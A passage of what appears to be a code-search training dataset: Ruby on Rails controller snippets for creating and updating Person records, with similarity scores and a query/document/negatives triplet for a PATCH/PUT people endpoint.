"def create(data)\n data.each do |response|\n puts person = @person_repository.create_or_find(response)\n homeworld_response = StarwarsService.get_response(response[\"homeworld\"])\n planet = @planet_repository.find(homeworld_response[\"name\"]).first\n person.planet_id = planet.id\n\n if response[\"species\"].empty? == false\n species_response = StarwarsService.get_response(response[\"species\"].first)\n specie = @specie_repository.find(species_response[\"name\"]).first\n person.specie_id = specie.id\n end\n person.save\n end\n end",
"def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n format.js\n format.json { render json: @person, status: :created, location: @person }\n else\n format.js\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n logger.debug(\"PeopleController.create: person_params: #{person_params.inspect}\")\n\n @person = Person.new(person_params)\n logger.debug(\"PeopleController.create: @person: #{@person.inspect}\")\n\n respond_to do |format|\n if @person.save \n # TBD: setup specs for this: or we will be adding to our 'technical debt'!\n Notifier.notice(@person, 'new account').deliver\n format.html do\n sign_in @person\n flash[:success] = \"Welcome to Talk Invite!\"\n redirect_to @person\n end\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create\n @person = Person.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Клиент создан' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @personnage = Personnage.new(params[:personnage])\n\n respond_to do |format|\n if @personnage.save\n format.html { redirect_to @personnage, notice: 'Personnage was successfully created.' }\n format.json { render json: @personnage, status: :created, location: @personnage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personnage.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @related_person = RelatedPerson.new(related_person_params)\n\n respond_to do |format|\n if @related_person.save\n format.html { redirect_to @related_person, notice: 'Related person was successfully created.' }\n format.json { render :show, status: :created, location: @related_person }\n else\n format.html { render :new }\n format.json { render json: @related_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @request_person = RequestPerson.new(request_person_params)\n\n respond_to do |format|\n if @request_person.save\n format.html { redirect_to @request_person, notice: 'Request person was successfully created.' }\n format.json { render :show, status: :created, location: @request_person }\n else\n format.html { render :new }\n format.json { render json: @request_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n filter_sampled_persons_ineligibilties\n\n @person = Person.new(params[:person])\n @provider = Provider.find(params[:provider_id]) unless params[:provider_id].blank?\n\n respond_to do |format|\n if @person.save\n create_relationship_to_participant\n\n path = people_path\n msg = 'Person was successfully created.'\n if @provider\n path = provider_path(@provider)\n msg = \"Person was successfully created for #{@provider}.\"\n end\n format.html { redirect_to(path, :notice => msg) }\n format.json { render :json => @person }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @person.errors }\n end\n end\n end",
"def create\n @person = Person.new( person_params )\n respond_to do |format|\n if @person.save\n format.html { render :edit, notice: t( 'people.msg.new_ok' )}\n else\n format.html { render :new }\n end\n end\n end",
"def test_post_request_collection\n params = {\n size: 3,\n employmentTypeUris: ['/dk/atira/pure/person/employmenttypes/academic'],\n employmentStatus: 'ACTIVE'\n }\n response = client.persons.all_complex params: params\n assert_equal response.code, 200\n assert_instance_of HTTP::Response, response\n end",
"def create\n\t\t@person = Person.create(person_params)\n\t\tredirect_to person_url(@person)\n\tend",
"def create\n @person = Person.new(params[:person])\n work = Work.find(@person.work_id) if @person.work_id.present?\n expression = Expression.find(@person.expression_id) if @person.expression_id.present?\n manifestation = Manifestation.find(@person.manifestation_id) if @person.manifestation_id.present?\n\n respond_to do |format|\n if @person.save\n if work\n @person.works << work\n end\n if expression\n @person.expressions << expression\n end\n if manifestation\n @person.manifestations << manifestation\n end\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params['csv_file'].present?\n require 'csv'\n params[:people] = []\n csv_text = File.read(params['csv_file'].path)\n csv = CSV.parse(csv_text, :headers => true)\n csv.each do |row|\n params[:people] << row.to_hash\n end\n people = Person.create(people_params[:people])\n render json: people.as_json(methods: :error_messages), status: :ok\n elsif params['person'].present?\n person = Person.new(person_params)\n if person.save\n render json: person.as_json(methods: :error_messages), status: :ok\n else\n render json: { errors: person.error_messages }, status: :unprocessable_entity\n end\n else\n render json: { message: 'CSV file not found.' }, status: :not_found and return\n end\n end",
"def create\n @team_person = TeamPerson.new(team_person_params)\n\n respond_to do |format|\n if @team_person.save\n format.html { redirect_to @team_person, notice: 'Team person was successfully created.' }\n format.json { render :show, status: :created, location: @team_person }\n else\n format.html { render :new }\n format.json { render json: @team_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n if !params[:name].nil? && !params[:email].nil?\n user = User.find_by_email(params[:email])\n if user\n pet = user.pets.create(name:params[:name], observations: params[:observations])\n if pet\n render json: pet, status: :created\n else\n render json: {message: 'There was an error saving pet, please try it again'}, status: :bad_request\n end\n else\n render json: {message: 'There was an error saving pet, please try it again'}, status: :bad_request\n end\n else\n render json: {message: 'Pet name not provided'}, status: :bad_request\n end\n end",
"def create\n @people_number = PeopleNumber.new(people_number_params)\n\n respond_to do |format|\n if @people_number.save\n format.html { redirect_to @people_number, notice: 'People number was successfully created.' }\n format.json { render :show, status: :created, location: @people_number }\n else\n format.html { render :new }\n format.json { render json: @people_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @projects_person = ProjectsPerson.new(params[:projects_person])\n\n respond_to do |format|\n if @projects_person.save\n format.html { redirect_to @projects_person, notice: 'Projects person was successfully created.' }\n format.json { render json: @projects_person, status: :created, location: @projects_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @projects_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tasks_person = TasksPerson.new(params[:tasks_person])\n\n respond_to do |format|\n if @tasks_person.save\n format.html { redirect_to @tasks_person, notice: 'Tasks person was successfully created.' }\n format.json { render json: @tasks_person, status: :created, location: @tasks_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tasks_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @addresses_person = AddressesPerson.new(addresses_person_params)\n\n respond_to do |format|\n if @addresses_person.save\n format.html { redirect_to @addresses_person, notice: 'Addresses person was successfully created.' }\n format.json { render :show, status: :created, location: @addresses_person }\n else\n format.html { render :new }\n format.json { render json: @addresses_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @persona = Persona.new(params[:persona])\n\n respond_to do |format|\n if @persona.save\n format.html { redirect_to @persona, notice: 'Persona was successfully created.' }\n format.json { render json: @persona, status: :created, location: @persona }\n else\n format.html { render action: \"new\" }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n \n if @person.save\n redirect_to action: 'list'\n else\n render action: 'new'\n end\n end",
"def people_params\n params.require(:people).permit(:first_name,:surname, :type_identification, :identification_document, \n :email, :date_birth, :sex, :civil_status, :phone, :cellphone, :address )\n end",
"def create\n @persona = Persona.new(params[:persona])\n\n respond_to do |format|\n if @persona.save\n format.html { redirect_to @persona, notice: 'la Persona fue creada exitosamente.' }\n format.json { render json: @persona, status: :created, location: @persona }\n else\n format.html { render action: \"new\" }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @personaje = Personaje.new(params[:personaje])\n\n respond_to do |format|\n if @personaje.save\n format.html { redirect_to @personaje, notice: 'Personaje was successfully created.' }\n format.json { render json: @personaje, status: :created, location: @personaje }\n else\n format.html { render action: \"new\" }\n format.json { render json: @personaje.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @person = Person.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def create\n @person = Person.new(params[:person].merge :creator_site_id => Site.current_id)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n format.xml { render :xml => @person, :status => :created, :location => @person }\n format.json { render :json => @person, :status => :created, :location => @person }\n else\n status = @person.errors.delete(:status) || :unprocessable_entity\n\n format.html { render :action => 'new' }\n format.xml { render :xml => @person.errors, :status => status }\n format.json { render :json => @person.errors, :status => status }\n end\n end\n end",
"def create\n @contactinfo = Contactinfo.new(params[:contactinfo])\n @contactinfo.user_id = current_user.id\n \n respond_to do |format|\n if @contactinfo.save\n format.html { redirect_to person_path(@contactinfo.people_id), :notice => 'Contactinfo was successfully created.' }\n format.json { render :json => @contactinfo, :status => :created, :location => @contactinfo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @contactinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @persona = Persona.new(persona_params)\n\n respond_to do |format|\n if @persona.save\n format.html { redirect_to @persona, notice: 'Datos personales registrados exitosamente.' }\n format.json { render :show, status: :created, location: @persona }\n else\n format.html { render :new }\n format.json { render json: @persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person_interest = PersonInterest.new(params[:person_interest])\n\n respond_to do |format|\n if @person_interest.save\n format.html { redirect_to @person_interest, notice: 'Person interest was successfully created.' }\n format.json { render json: @person_interest, status: :created, location: @person_interest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@person = Person.new(params[:person])\n\n\t\trespond_to do |format|\n\t\t\tif @person.save\n\t\t\t\tformat.html { redirect_to(@person, :notice => 'Person was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @person, :status => :created, :location => @person }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def new\n @user_person = UserPerson.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_person }\n end\n end",
"def people_params\n params.require(:person).permit(:name, :surname, :mail, :home, :phone, :age, :pilot, :member, :guest, :status, :id_number)\n end",
"def create\n @type_person = TypePerson.new(params[:type_person])\n\n respond_to do |format|\n if @type_person.save\n format.html { redirect_to @type_person, notice: 'Type person was successfully created.' }\n format.json { render json: @type_person, status: :created, location: @type_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @type_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(admin_person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to [:admin, @person], notice: 'Person was successfully created.' }\n format.json { render action: 'show', status: :created, location: [:admin, @person] }\n else\n format.html { render action: 'new' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n filtered_params = person_params\n filtered_params[:roles] ||= [:leaser]\n filtered_params[:status] ||= [:pending]\n\n @person = Person.new(filtered_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n format.xml { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n format.xml { render xml: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # render json: params\n render json: Users.create(params[\"user\"])\n end",
"def create\n @person = Person.new(person_params)\n\n if @person.save\n redirect_to :action => 'list'\n else\n render :action => 'new'\n end\n end",
"def create\n p params\n family = Family.new(\n first_name: params[:first_name],\n last_name: params[:last_name],\n email: params[:email],\n password: params[:password],\n phone_number: params[:phone_number],\n street_address: params[:street_address],\n secondary_address: params[:secondary_address],\n city: params[:city],\n state: params[:state],\n zip_code: params[:zip_code],\n photo: params[:photo])\n # save the information from user input to create a new family.\n family.save!\n if family.save!\n render json: family.as_json\n else\n render json: {errors: family.errors.full_messages}\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def new\n @person = Person.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @person }\n end\n end",
"def create\n @person = Person.new(params[:person])\n\n respond_to do |format|\n if @person.save\n track_activity @person\n format.html { redirect_to @person, notice: 'Person was successfully created.' }\n format.json { render json: @person, status: :created, location: @person }\n else\n format.html { render layout: 'form', action: \"new\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n Rails.logger.info(params)\n # check if all the criterias are filled\n # first I just continue to create iff name, positionl, institution exists\n if params.has_key?(:name) && params.has_key?(:position) && params.has_key?(:institution)\n # check if the person already exists? The person might exists as a mentor of other maybe\n unless Person.exists?(name: params[:name])\n @person = Person.new_person(params[:name], params[:position], params[:institution])\n if @person != nil && @person.save\n render json: @person.as_json, status: :created\n return\n end\n else\n render json: {error: 'person exists'}, status: :bad_request\n end\n end\n #render json: {warning: 'not implemented'}, status: 200\n end",
"def create\n @person = current_user.people.new(person_params)\n\n respond_to do |format|\n if @person.save\n format.html { redirect_to [:logbook, @person], notice: 'Person was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n format.js\n else\n format.html { redirect_to logbook_people_path, notice: 'Person was not saved.' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n format.js { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @car = Car.new(car_params)\n\n respond_to do |format|\n if @car.save\n if @person\n @car.people << @person\n format.html { redirect_to @person, notice: \"#{@person.name} got a new car!\" }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { redirect_to @car, notice: 'Car created!' }\n format.json { render :show, status: :created, location: @car }\n end\n else\n format.html { render :new }\n format.json { render json: @car.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person = Person.new(person_params)\n @person.user = current_user\n authorize @person\n\n flash[:notice] = \"Person was successfully created.\" if @person.save\n respond_with(@person)\n end",
"def create\n @documents_person = DocumentsPerson.new(documents_person_params)\n\n respond_to do |format|\n if @documents_person.save\n format.html { redirect_to @documents_person, notice: 'Documents person was successfully created.' }\n format.json { render :show, status: :created, location: @documents_person }\n else\n format.html { render :new }\n format.json { render json: @documents_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = @person.pets.build(pet_params)\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to person_path(@person), notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @persona = Persona.new(persona_params)\n\n respond_to do |format|\n if @persona.save\n format.html {redirect_to personas_url, notice: 'Persona was successfully created.'}\n format.json {render :show, status: :created, location: @persona}\n else\n format.html {render :new}\n format.json {render json: @persona.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n @key_person = KeyPerson.new(params[:key_person])\n\n respond_to do |format|\n if @key_person.save\n format.html { redirect_to @key_person, notice: 'Key person was successfully created.' }\n format.json { render json: @key_person, status: :created, location: @key_person }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @people_student = People::Student.new(people_student_params)\n\n respond_to do |format|\n if @people_student.save\n format.html { redirect_to @people_student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @people_student }\n else\n format.html { render :new }\n format.json { render json: @people_student.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6787028",
"0.67639786",
"0.67471504",
"0.67430043",
"0.6740321",
"0.6729967",
"0.6695623",
"0.66938925",
"0.66387355",
"0.6607146",
"0.6599289",
"0.6555189",
"0.6555189",
"0.6555189",
"0.6555189",
"0.65208775",
"0.65106755",
"0.6495074",
"0.6495074",
"0.6495074",
"0.6495074",
"0.6495074",
"0.6495074",
"0.6495074",
"0.6495074",
"0.64876723",
"0.6459417",
"0.6442595",
"0.6437779",
"0.6429813",
"0.6427936",
"0.63512456",
"0.63290733",
"0.6310523",
"0.63032746",
"0.6259273",
"0.6258431",
"0.6255561",
"0.6206324",
"0.62054753",
"0.61961675",
"0.61902815",
"0.6186374",
"0.61862135",
"0.6181989",
"0.6140023",
"0.61319715",
"0.60855216",
"0.60846394",
"0.60837996",
"0.6066986",
"0.605435",
"0.6054217",
"0.60392874",
"0.6034725",
"0.6025633",
"0.60253185",
"0.5989397",
"0.59855026",
"0.59618807",
"0.59562093",
"0.5956128",
"0.595379",
"0.59522164",
"0.59299463",
"0.5909894",
"0.5907757",
"0.59064245",
"0.5894328",
"0.58793783",
"0.5868149",
"0.5862134",
"0.5854718",
"0.58434165",
"0.58431077",
"0.58411676",
"0.5839441",
"0.58392113",
"0.58365375",
"0.58350027",
"0.58311385",
"0.5829603",
"0.5828112",
"0.58262116",
"0.5817968",
"0.5817968",
"0.5817968",
"0.5817968",
"0.5817968",
"0.5817968",
"0.5817968",
"0.5817133",
"0.5813984",
"0.58083624",
"0.5805334",
"0.57937825",
"0.57876796",
"0.57728964",
"0.57716477",
"0.5750112",
"0.5739503"
] | 0.0 | -1 |
PATCH/PUT /people/1 PATCH/PUT /people/1.json | def update
respond_to do |format|
if(@person.cabin_id != nil)
cabin = Cabin.find(@person.cabin_id);
check_cabin_and_assing_if_available(cabin, @person)
else
person = params[:person]
puts "///////////////-------------------"
puts params[:person][:cabin_id]
puts "/////-------"
cabin = Cabin.find(person[:cabin_id])
check_cabin_and_assing_if_available(cabin, @person)
end
if @person.update(person_params)
format.html { redirect_to @person, notice: 'Person was successfully updated' + notice }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @person.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end",
"def update\n @person = Person.find(params[:id]) \n respond_to do |format|\n if @person.update(person_params)\n format.json { render json: @person, status: :ok }\n else\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to people_path, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: t('.update_ok') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n errors = {}\n if ! ensure_same_as_logged_person(params['user_id'])\n render_json :status => :forbidden and return\n end\n @person = Person.find_by_guid(params['user_id'])\n if ! @person\n render_json :status => :not_found and return\n end\n if params[:person]\n begin\n if @person.json_update_attributes(params[:person])\n render_json :entry => @person.to_hash(@user, @client) and return\n end\n rescue NoMethodError => e\n errors = e.to_s\n end\n end\n\n render_json :status => :bad_request, :messages => @person.errors.full_messages\n @person = nil\n end",
"def update\n @person = Person.find(params[:id])\n\n populate_attributes(@person, params[:person])\n respond_to do |format|\n \n if @person.save && @person.identifiable_entries.each(&:save!)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id])\n if @person.update_attributes(person_params)\n render :json => @person\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n\n end",
"def update\n @person = Person.find(params[:id])\n @person.delete_offices\n @person.delete_addresses\n @person.delete_phone_numbers\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @person.update(person_params)\n render :show, status: :ok, location: api_v1_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def update\n @person.update_attributes(params[:person])\n respond_with(@person)\n end",
"def update\n @persona = Persona.find(params[:id])\n \n respond_to do |format|\n if @persona.update_attributes(params[:persona])\n format.json { head :ok }\n else\n format.json { render :json => @persona.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @person_info = PersonInfo.find(params[:id])\n\n if @person_info.update(person_info_params(params[:person_info]))\n head :no_content\n else\n render json: @person_info.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: \"#{@person.name} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @person = Person.find(params[:id]) \n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: \"#{@person.display_name} Person was successfully updated.\" }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @people = People.find(params[:id])\n\n respond_to do |format|\n if @people.update_attributes(params[:people])\n flash[:notice] = 'People was successfully updated.'\n format.html { redirect_to(@people) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @people.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @person.update(person_params)\n render :show, status: :ok, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @person.update(person_params)\n render :show, status: :ok, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html do\n redirect_to @person, notice: 'Person was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json do\n render json: @person.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def update\n @user_person = UserPerson.find(params[:id])\n\n respond_to do |format|\n if @user_person.update_attributes(params[:user_person])\n format.html { redirect_to @user_person, notice: 'User person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @request_person.update(request_person_params)\n format.html { redirect_to @request_person, notice: 'Request person was successfully updated.' }\n format.json { render :show, status: :ok, location: @request_person }\n else\n format.html { render :edit }\n format.json { render json: @request_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: \"Person was successfully updated.\" }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n set_associations\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to admin_person_url(@person), notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Данные клиента обновлены.' }\n format.json { render :show, status: :ok, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @people.user_updated_id = current_user.id\n respond_to do |format|\n if @people.update(people_params)\n format.html { redirect_to @people, notice: 'Persona actualizada con éxito.' }\n format.json { render :show, status: :ok, location: @people }\n else\n format.html { render :edit }\n format.json { render json: @people.errors, status: :unprocessable_entity }\n end\n end\n end",
